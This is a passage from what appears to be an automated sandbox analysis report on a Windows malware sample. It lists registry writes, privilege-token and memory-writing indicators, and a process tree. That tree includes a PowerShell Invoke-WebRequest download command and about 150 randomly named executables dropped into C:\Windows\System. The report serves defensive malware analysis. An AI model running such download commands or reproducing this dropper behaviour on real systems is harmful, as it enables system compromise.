576656e74466c61675c22203a2032207d207d2c205c224576656e74466c61675c22203a20323536207d207d207d2c205c225472616e73616374696f6e616c46696c654f7065726174696f6e735c22203a207b205c224576656e74735c22203a207b205c224170706c794368616e6765735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22457865637574655472616e73616374696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d207d207d207d2c205c224576656e74735c22203a207b205c225472616e73706f72745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f776e6c6f61644361625c22203a207b205c224576656e74466c61675c22203a2032207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574 | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Set value (data) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\0.8 = 205c225375624e616d657370616365735c22203a207b205c22436f617574685c22203a207b205c224576656e74735c22203a207b205c224f70656e46696c655c22203a207b205c224576656e74466c61675c22203a203330393632323437343338323231303536207d2c205c22457865637574654d65726765496e7374616e63655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224b69636b4f6666517569636b536176655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22586c53796e6353746174654368616e67654c697374656e65724f6e53796e6353746174654368616e67655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f63734765744f70496e7465726e616c5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436c6f7365576f726b626f6f6b5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224261636b67726f756e6451756575655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f637350756c6c4f704f6e4765745265766973696f6e436f6d706c657465645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f637350756c6c4f704f6e4765745265766973696f6e526573706f6e736552656365697665645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f637350756c6c4f70464275696c644765745265766973696f6e526571756573745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f637350756c6c4f704f6e436f6d706c657465645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436865636b5061636b61676546696c6553746172745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436865636b5061636b61676546696c6553746f705c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436865636b456e637279707465644d6574726f46696c6553746172745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436865636b456e637279707465644d6574726f46696c6553746f705c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22536b697070656443686743656c6c5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243717532674872446f456e74657243656c6c466d6c61584c5c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c2246696c65536176655c22203a207b205c224576656e74735c22203a207b205c225361766541735361766546696c655c22203a207b205c224576656e74466c61675c22203a203330393632323437343338323231303536207d207d207d2c205c22496e6672615c22203a207b205c224576656e74735c22203a207b205c224164644c6f63616c655c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22436f6d6d616e645c22203a207b205c224576656e74735c22203a207b205c2252656672657368416c6c5c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c22526566457874446174615c22203a207b205c224576656e74466c61675c22203a203438383936207d207d207d2c205c2243616c635c22203a207b205c224576656e74735c22203a207b205c224669784d616e75616c43616c634f6e4c6f61645c22203a207b205c224576656e74466c61675c22203a203438383936207d207d207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e4578706572696d656e746174696f6e222c20225622203a20227374643a3a77737472696e677c7b205c224576656e74735c22203a207b205c224564676546657463685c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224c6f6164696e67466972737453657373696f6e43616368655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224765744665617475726573466f72534458556e65787065637465645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224142436f6e66696754726561746d656e7454797065556e65787065637465645c22203a207b205c224576656e74466c61675c22203a2032207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e457874656e736962696c697479222c20225622203a20227374643a3a77737472696e677c7b205c225375624e616d657370616365735c22203a207b205c22446973636f7665725472794275795c22203a207b205c225375624e616d657370616365735c22203a207b205c2250795c22203a207b205c224576656e74735c22203a207b205c2253657276657244726976656e4e6f74696669636174696f6e55736572416374696f6e5c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d207d207d2c205c224f66666963654a735c22203a207b205c224576656e74735c22203a207b205c22417070436f6d6d616e64446566696e6974696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22417070496e697469616c697a6174696f6e585c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225363726970744c6f6164585c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22436174616c6f675c22203a207b205c224576656e74735c22203a207b205c2245786368616e67654765744c617374557064617465325c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22547279446973636f76657245777355726c735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2245786368616e67654765744c6173745570646174655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2254727948616e646c6541757468656e7469636174696f6e526573756c745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2245786368616e6765476574456e7469746c656d656e74735c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2245786368616e67654765744d616e6966657374735c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2245786368616e676552656672657368457874656e73696f6e4c6973745c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c2241757468656e7469636174696f6e526963684170695c22203a207b205c224576656e74735c22203a207b205c22476574416363657373546f6b656e56324261636b67726f756e645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22476574416363657373546f6b656e56324d61696e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22476574416363657373546f6b656e5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2247657441757468546f6b656e5c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c22496e7374616c6c65725c22203a207b205c225375624e616d657370616365735c22203a207b205c225461736b456e67696e655c22203a207b205c224576656e74735c22203a207b205c224765744368616e676564536f6c7574696f6e735461736b5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224765744368616e676564536f6c7574696f6e735461736b5265676973746572536f6c7574696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224765744368616e676564536f6c7574696f6e735461736b52656769737465724e65757472616c5061636b6167655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22496e7374616c6c536478536f6c7574696f6e5461736b5363686564756c65645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22496e7374616c6c536478536f6c7574696f6e5461736b526567697374726174696f6e4572726f725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22496e7374616c6c536478536f6c7574696f6e5461736b537563636573735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22496e7374616c6c536478536f6c7574696f6e5461736b496e46696e616c697a655374617465457863657074696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22496e7374616c6c536478536f6c7574696f6e5461736b536574496e7374616c6c5374617475734572726f725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225061636b61676541707078457874726163746f725461736b5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225061636b6167655265717565737465725461736b5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225061636b6167655265717565737465725461736b53657276696365526571756573745374617475735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22457870466972737453657373696f6e5461736b446573747275637465644265666f7265436f6d706c6574655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22457870466972737453657373696f6e5461736b436f6d706c6574656446657463685c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22457870466972737453657373696f6e5461736b496e7374616c6c6564417070735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22457870466972737453657373696f6e5461736b4170704665746368446f6e655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225061636b61676553617665725461736b5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224578705061636b616765526567697374726174696f6e496e666f5461736b5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225061636b616765536f6c7574696f6e49445570646174655461736b5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224578747261637446696c6573546573745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2245787472616374466f6f747072696e7446696c6573546573745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22496e7374616c6c536478536f6c7574696f6e5461736b52756e4e657874457863657074696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f73664d616e696665737456616c696461746f725c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c224765744368616e676564536f6c7574696f6e735461736b52656769737465724c6f63616c655061636b6167655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243496e7374616c6c65724d61696e5368656c6c476574436f6e66696755726c5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2253636176656e6765725461736b436c656172526567697374726174696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436865636b416e64557064617465416c6c536478536f6c7574696f6e735461736b5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436865636b416e64557064617465416c6c536478536f6c7574696f6e735461736b5265676973746572536f6c7574696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436865636b416e64557064617465416c6c536478536f6c7574696f6e735461736b52656769737465724e65757472616c5061636b6167655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436865636b416e64557064617465416c6c536478536f6c7574696f6e735461736b52656769737465724c6f63616c655061636b6167655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224765744368616e676564536f6c7574696f6e735461736b4c6f63616c65556e617661696c61626c655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224765744368616e676564536f6c7574696f6e735461736b5061636b616765556e617661696c61626c655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22496e7374616c6c536478536f6c7574696f6e5461736b5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2253636176656e6765725461736b5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2253636176656e6765725461736b436c656172526567697374726174696f6e4661696c65645c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c224d61696e5c22203a207b205c224576656e74735c22203a207b205c225344584261636b67726f756e645461736b5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f7366496e7374616c6c65725374617274436f6d5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f7366496e7374616c6c657253746172744e6f74434f4d5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243496e7374616c6c65724d61696e5368656c6c496e69745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f7366496e7374616c6c657253746172744d61696e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243496e7374616c6c65724d61696e5368656c6c5363686564756c655461736b5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243496e7374616c6c65724d61696e5368656c6c53687574646f776e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224765744e6574776f726b436f737454696d656f75745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224765744e6574776f726b436f737453657276696365556e617661696c61626c655c22203a207b205c224576656e74466c61675c22203a2032207d207d207d207d2c205c224576656e74735c22203a207b205c225061636b61676541707078457874726163746f725461736b5061636b616765496e666f726d6174696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c2253616e64626f785c22203a207b205c224576656e74735c22203a207b205c22506f73744f7366436f6e74726f6c4d6573736167655c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c224f445041637469766174696f6e48616e67696e675c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2253616e64626f784372656174696f6e5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2244656c6574654f7366436f6e74726f6c5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225365744f4d546f6b656e4f6e54726964656e74486f73745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2253657454726964656e74486f73745c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c224f445053686f775461736b70616e65436f6e74726f6c5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224372656174654f7366436f6e74726f6c56325c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2243726561746552656d6f7465725c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22446f776e6c6f61644d616e69666573745c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2252656c6f6164416c6c4f7366436f6e74726f6c735c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c225265737461727452656d6f7465725c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c225265737461727453616e64626f7865735c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2253746172744f7366436f6e74726f6c5c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c22417070436f6d6d616e64735c22203a207b205c224576656e74735c22203a207b205c22526962626f6e5847656e657261746f725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22417070436d6450726f6a656374696f6e5374617475735c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224361636865446573657269616c697a6546726f6d53747265616d5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22436163686553657269616c697a65546f53747265616d5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224361636865536f6c7574696f6e5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22457773526566726573685c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2245786563757465416374696f6e5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2246616c6c6261636b546f46697273744c6976654964496e4f454d5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2246616c6c6261636b546f46697273744c6976654964496e526962626f6e5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2246657463684361636865536f6c7574696f6e5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22496e7374616c6c4d616e696665737452656164795c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224c6f61644d696e43616368655c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224d69734d61746368696e67526962626f6e4964656e74697479496e666f5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c225072657061726553686f775461736b70616e6556325c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2252656d6f766546726f6d526962626f6e5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2253686f775465616368696e6743616c6c6f75745c22203a20 | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\ChunkCount = "uint64_t|9" | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ETag = "std::wstring|\"q2WDZX/ciSUoFL0Rky5iskyRIbBenRonMM22s4VfgTY=\"" | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key deleted | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\ChunkCount = "uint64_t|0" | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\ChunkCount = "uint64_t|10" | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages\en-US = "2" | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeLockMemoryPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\8dd2e47f39bbb78c60916de85411d9d0_NeikiAnalytics.exe | N/A |
| Token: SeLockMemoryPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\8dd2e47f39bbb78c60916de85411d9d0_NeikiAnalytics.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\8dd2e47f39bbb78c60916de85411d9d0_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\8dd2e47f39bbb78c60916de85411d9d0_NeikiAnalytics.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
C:\Windows\System\CaYgJwd.exe
C:\Windows\System\CaYgJwd.exe
C:\Windows\System\tGwSBwy.exe
C:\Windows\System\tGwSBwy.exe
C:\Windows\System\SxHyPlf.exe
C:\Windows\System\SxHyPlf.exe
C:\Windows\System\enfppnL.exe
C:\Windows\System\enfppnL.exe
C:\Windows\System\jWlchLD.exe
C:\Windows\System\jWlchLD.exe
C:\Windows\System\UWvgwmG.exe
C:\Windows\System\UWvgwmG.exe
C:\Windows\System\HyMtNAC.exe
C:\Windows\System\HyMtNAC.exe
C:\Windows\System\PCAoYZe.exe
C:\Windows\System\PCAoYZe.exe
C:\Windows\System\gJakavB.exe
C:\Windows\System\gJakavB.exe
C:\Windows\System\DSSDxjl.exe
C:\Windows\System\DSSDxjl.exe
C:\Windows\System\LihDZUA.exe
C:\Windows\System\LihDZUA.exe
C:\Windows\System\XUUKzyH.exe
C:\Windows\System\XUUKzyH.exe
C:\Windows\System\XVimrMB.exe
C:\Windows\System\XVimrMB.exe
C:\Windows\System\ebtNKax.exe
C:\Windows\System\ebtNKax.exe
C:\Windows\System\FpKOMAz.exe
C:\Windows\System\FpKOMAz.exe
C:\Windows\System\BwPdwYe.exe
C:\Windows\System\BwPdwYe.exe
C:\Windows\System\fnksYuT.exe
C:\Windows\System\fnksYuT.exe
C:\Windows\System\hLxGnBY.exe
C:\Windows\System\hLxGnBY.exe
C:\Windows\System\cZntiAF.exe
C:\Windows\System\cZntiAF.exe
C:\Windows\System\eNTKxGX.exe
C:\Windows\System\eNTKxGX.exe
C:\Windows\System\vjQVKNa.exe
C:\Windows\System\vjQVKNa.exe
C:\Windows\System\BWZQWuI.exe
C:\Windows\System\BWZQWuI.exe
C:\Windows\System\iqpiuEg.exe
C:\Windows\System\iqpiuEg.exe
C:\Windows\System\caDzewN.exe
C:\Windows\System\caDzewN.exe
C:\Windows\System\nINbUQP.exe
C:\Windows\System\nINbUQP.exe
C:\Windows\System\auLzlYl.exe
C:\Windows\System\auLzlYl.exe
C:\Windows\System\oFqATCu.exe
C:\Windows\System\oFqATCu.exe
C:\Windows\System\nkEGVBE.exe
C:\Windows\System\nkEGVBE.exe
C:\Windows\System\bQewDwk.exe
C:\Windows\System\bQewDwk.exe
C:\Windows\System\QQNsDeQ.exe
C:\Windows\System\QQNsDeQ.exe
C:\Windows\System\kTsMbjt.exe
C:\Windows\System\kTsMbjt.exe
C:\Windows\System\ScrJmiK.exe
C:\Windows\System\ScrJmiK.exe
C:\Windows\System\QtRPTbM.exe
C:\Windows\System\QtRPTbM.exe
C:\Windows\System\enacQea.exe
C:\Windows\System\enacQea.exe
C:\Windows\System\CSeReGu.exe
C:\Windows\System\CSeReGu.exe
C:\Windows\System\eGNrwum.exe
C:\Windows\System\eGNrwum.exe
C:\Windows\System\fZoKweB.exe
C:\Windows\System\fZoKweB.exe
C:\Windows\System\JKVtMLI.exe
C:\Windows\System\JKVtMLI.exe
C:\Windows\System\yGAbWKE.exe
C:\Windows\System\yGAbWKE.exe
C:\Windows\System\EtfLyGa.exe
C:\Windows\System\EtfLyGa.exe
C:\Windows\System\nBaTzQj.exe
C:\Windows\System\nBaTzQj.exe
C:\Windows\System\cJMjBgf.exe
C:\Windows\System\cJMjBgf.exe
C:\Windows\System\NEARDkN.exe
C:\Windows\System\NEARDkN.exe
C:\Windows\System\axfrPXe.exe
C:\Windows\System\axfrPXe.exe
C:\Windows\System\gCsQPPI.exe
C:\Windows\System\gCsQPPI.exe
C:\Windows\System\oKXkFWi.exe
C:\Windows\System\oKXkFWi.exe
C:\Windows\System\bMICvay.exe
C:\Windows\System\bMICvay.exe
C:\Windows\System\yFYDaFJ.exe
C:\Windows\System\yFYDaFJ.exe
C:\Windows\System\tuEWrFM.exe
C:\Windows\System\tuEWrFM.exe
C:\Windows\System\oRbnZEY.exe
C:\Windows\System\oRbnZEY.exe
C:\Windows\System\WHyLNPo.exe
C:\Windows\System\WHyLNPo.exe
C:\Windows\System\XBDtluq.exe
C:\Windows\System\XBDtluq.exe
C:\Windows\System\lDuDzzv.exe
C:\Windows\System\lDuDzzv.exe
C:\Windows\System\vObcnrN.exe
C:\Windows\System\vObcnrN.exe
C:\Windows\System\lIKneSN.exe
C:\Windows\System\lIKneSN.exe
C:\Windows\System\jhqjLiM.exe
C:\Windows\System\jhqjLiM.exe
C:\Windows\System\dVMiJRO.exe
C:\Windows\System\dVMiJRO.exe
C:\Windows\System\zpoRqak.exe
C:\Windows\System\zpoRqak.exe
C:\Windows\System\NhywigE.exe
C:\Windows\System\NhywigE.exe
C:\Windows\System\tNdKZGI.exe
C:\Windows\System\tNdKZGI.exe
C:\Windows\System\VFIDqPO.exe
C:\Windows\System\VFIDqPO.exe
C:\Windows\System\rpjtYtZ.exe
C:\Windows\System\rpjtYtZ.exe
C:\Windows\System\uqqgICQ.exe
C:\Windows\System\uqqgICQ.exe
C:\Windows\System\XXnHqhj.exe
C:\Windows\System\XXnHqhj.exe
C:\Windows\System\jteKQUK.exe
C:\Windows\System\jteKQUK.exe
C:\Windows\System\faNgyNd.exe
C:\Windows\System\faNgyNd.exe
C:\Windows\System\hNvBshL.exe
C:\Windows\System\hNvBshL.exe
C:\Windows\System\mWsKuPE.exe
C:\Windows\System\mWsKuPE.exe
C:\Windows\System\XRqAcCt.exe
C:\Windows\System\XRqAcCt.exe
C:\Windows\System\gjwqzqG.exe
C:\Windows\System\gjwqzqG.exe
C:\Windows\System\YNQAeCg.exe
C:\Windows\System\YNQAeCg.exe
C:\Windows\System\XPIkjHK.exe
C:\Windows\System\XPIkjHK.exe
C:\Windows\System\YTozdHa.exe
C:\Windows\System\YTozdHa.exe
C:\Windows\System\tlLxkYQ.exe
C:\Windows\System\tlLxkYQ.exe
C:\Windows\System\ZABPzif.exe
C:\Windows\System\ZABPzif.exe
C:\Windows\System\KdyuTXj.exe
C:\Windows\System\KdyuTXj.exe
C:\Windows\System\lcVamIt.exe
C:\Windows\System\lcVamIt.exe
C:\Windows\System\orKMNww.exe
C:\Windows\System\orKMNww.exe
C:\Windows\System\TWpNLIf.exe
C:\Windows\System\TWpNLIf.exe
C:\Windows\System\HpmwLmE.exe
C:\Windows\System\HpmwLmE.exe
C:\Windows\System\TMTbkYg.exe
C:\Windows\System\TMTbkYg.exe
C:\Windows\System\kFXufGP.exe
C:\Windows\System\kFXufGP.exe
C:\Windows\System\pxCoPKS.exe
C:\Windows\System\pxCoPKS.exe
C:\Windows\System\jIheIOj.exe
C:\Windows\System\jIheIOj.exe
C:\Windows\System\fHdWfzG.exe
C:\Windows\System\fHdWfzG.exe
C:\Windows\System\gxIjCEo.exe
C:\Windows\System\gxIjCEo.exe
C:\Windows\System\SEgIZGz.exe
C:\Windows\System\SEgIZGz.exe
C:\Windows\System\tNYANJF.exe
C:\Windows\System\tNYANJF.exe
C:\Windows\System\itHMxHF.exe
C:\Windows\System\itHMxHF.exe
C:\Windows\System\iBvXUpg.exe
C:\Windows\System\iBvXUpg.exe
C:\Windows\System\LqXycUx.exe
C:\Windows\System\LqXycUx.exe
C:\Windows\System\BTdkbFK.exe
C:\Windows\System\BTdkbFK.exe
C:\Windows\System\SRXaKnQ.exe
C:\Windows\System\SRXaKnQ.exe
C:\Windows\System\lmBtfAx.exe
C:\Windows\System\lmBtfAx.exe
C:\Windows\System\EOJsvCC.exe
C:\Windows\System\EOJsvCC.exe
C:\Windows\System\PqdNvyd.exe
C:\Windows\System\PqdNvyd.exe
C:\Windows\System\kJFZZKz.exe
C:\Windows\System\kJFZZKz.exe
C:\Windows\System\LGjsuDS.exe
C:\Windows\System\LGjsuDS.exe
C:\Windows\System\rRxhHum.exe
C:\Windows\System\rRxhHum.exe
C:\Windows\System\IbFRXhW.exe
C:\Windows\System\IbFRXhW.exe
C:\Windows\System\AViNGYK.exe
C:\Windows\System\AViNGYK.exe
C:\Windows\System\kcMIaiH.exe
C:\Windows\System\kcMIaiH.exe
C:\Windows\System\HRclBJn.exe
C:\Windows\System\HRclBJn.exe
C:\Windows\System\vkfwBor.exe
C:\Windows\System\vkfwBor.exe
C:\Windows\System\Euhsocp.exe
C:\Windows\System\Euhsocp.exe
C:\Windows\System\jBzISYI.exe
C:\Windows\System\jBzISYI.exe
C:\Windows\System\wnVQrAK.exe
C:\Windows\System\wnVQrAK.exe
C:\Windows\System\dJedlow.exe
C:\Windows\System\dJedlow.exe
C:\Windows\System\WMXiPbQ.exe
C:\Windows\System\WMXiPbQ.exe
C:\Windows\System\GFcRQpj.exe
C:\Windows\System\GFcRQpj.exe
C:\Windows\System\vGNFlJS.exe
C:\Windows\System\vGNFlJS.exe
C:\Windows\System\MCwmndd.exe
C:\Windows\System\MCwmndd.exe
C:\Windows\System\fkSVWbF.exe
C:\Windows\System\fkSVWbF.exe
C:\Windows\System\BJdwKMn.exe
C:\Windows\System\BJdwKMn.exe
C:\Windows\System\mngXyYV.exe
C:\Windows\System\mngXyYV.exe
C:\Windows\System\iyHJAhV.exe
C:\Windows\System\iyHJAhV.exe
C:\Windows\System\NckvXqF.exe
C:\Windows\System\NckvXqF.exe
C:\Windows\System\HGhVCcZ.exe
C:\Windows\System\HGhVCcZ.exe
C:\Windows\System\xKRfGYq.exe
C:\Windows\System\xKRfGYq.exe
C:\Windows\System\fPraGfw.exe
C:\Windows\System\fPraGfw.exe
C:\Windows\System\YxCRrNq.exe
C:\Windows\System\YxCRrNq.exe
C:\Windows\System\INklHCq.exe
C:\Windows\System\INklHCq.exe
C:\Windows\System\Wztamjd.exe
C:\Windows\System\Wztamjd.exe
C:\Windows\System\zwznAng.exe
C:\Windows\System\zwznAng.exe
C:\Windows\System\rxXvtCG.exe
C:\Windows\System\rxXvtCG.exe
C:\Windows\System\wnMVUcY.exe
C:\Windows\System\wnMVUcY.exe
C:\Windows\System\YuOEvXU.exe
C:\Windows\System\YuOEvXU.exe
C:\Windows\System\ZSnOsrV.exe
C:\Windows\System\ZSnOsrV.exe
C:\Windows\System\xrBECJd.exe
C:\Windows\System\xrBECJd.exe
C:\Windows\System\TXdsQGK.exe
C:\Windows\System\TXdsQGK.exe
C:\Windows\System\dLqytBf.exe
C:\Windows\System\dLqytBf.exe
C:\Windows\System\nBjckUY.exe
C:\Windows\System\nBjckUY.exe
C:\Windows\System\BZmnIWE.exe
C:\Windows\System\BZmnIWE.exe
C:\Windows\System\wnGGlYV.exe
C:\Windows\System\wnGGlYV.exe
C:\Windows\System\WUhBqSR.exe
C:\Windows\System\WUhBqSR.exe
C:\Windows\System\hdUPflE.exe
C:\Windows\System\hdUPflE.exe
C:\Windows\System\xkUuTYt.exe
C:\Windows\System\xkUuTYt.exe
C:\Windows\System\hKnxryE.exe
C:\Windows\System\hKnxryE.exe
C:\Windows\System\pfExkje.exe
C:\Windows\System\pfExkje.exe
C:\Windows\System\ZNBThKX.exe
C:\Windows\System\ZNBThKX.exe
C:\Windows\System\qZQdeEW.exe
C:\Windows\System\qZQdeEW.exe
C:\Windows\System\GiUQBFe.exe
C:\Windows\System\GiUQBFe.exe
C:\Windows\System\JGwURWP.exe
C:\Windows\System\JGwURWP.exe
C:\Windows\System\DDzJNPi.exe
C:\Windows\System\DDzJNPi.exe
C:\Windows\System\qXAaahM.exe
C:\Windows\System\qXAaahM.exe
C:\Windows\System\kdAAwub.exe
C:\Windows\System\kdAAwub.exe
C:\Windows\System\QsotxyU.exe
C:\Windows\System\QsotxyU.exe
C:\Windows\System\AzYqxTm.exe
C:\Windows\System\AzYqxTm.exe
C:\Windows\System\ZYRRlAE.exe
C:\Windows\System\ZYRRlAE.exe
C:\Windows\System\GrtwUQk.exe
C:\Windows\System\GrtwUQk.exe
C:\Windows\System\CeQXzZe.exe
